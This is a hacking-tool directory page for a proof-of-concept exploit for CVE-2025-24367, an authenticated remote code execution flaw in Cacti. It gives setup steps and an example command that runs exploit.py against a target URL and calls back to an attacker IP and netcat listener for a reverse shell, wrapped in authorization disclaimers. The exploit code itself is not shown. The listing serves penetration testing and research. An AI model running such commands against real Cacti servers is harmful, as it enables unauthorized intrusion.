Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24367-Cacti-PoC — Proof of Concept for CVE-2025-24367 | Kitploit
Tools/GitHubGitHub/thecybergeek/cve-2025-24367-cacti-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubthecybergeek/cve-2025-24367-cacti-poc

CVE-2025-24367-Cacti-PoC

Proof of Concept for CVE-2025-24367

View Repository
37419 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-24367 - Cacti Authenticated Graph Template RCE

Usage & Safety

Important — Read this first:
This repository and exploit.py are provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written authorization. Unauthorized access to computer systems is illegal and unethical. By using this code you agree to follow applicable laws and institutional policies.

Requirements

  • Python 3.8+
root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Usage

root@kitploit:~
python3 exploit.py -u <username> -p <password> -i <attacker_ip> -l <listener_port> -url <target_url> [--proxy]

Example

Before running the script make sure you have a nc listener running. Run the script without proxy unless debugging:

root@kitploit:~
python3 exploit.py \
  -u testuser \
  -p Welcome1 \
  -i 192.168.43.11 \
  -l 4444 \
  -url http://localhost

VERY IMPORTANT WARNINGS

  • Do not run this against production systems or any system you do not own or have explicit permission to test.
  • Always obtain written authorization before performing security testing.
  • Use isolated lab environments (e.g., VMs, containers, or purpose-built test networks) for experimentation.
  • Your organization may have reporting and disclosure policies — follow them.
  • The authors accept no responsibility for misuse of this code.

Final reminder: This script and README are for educational use only. Never use these tools to access systems unlawfully.

Download Tool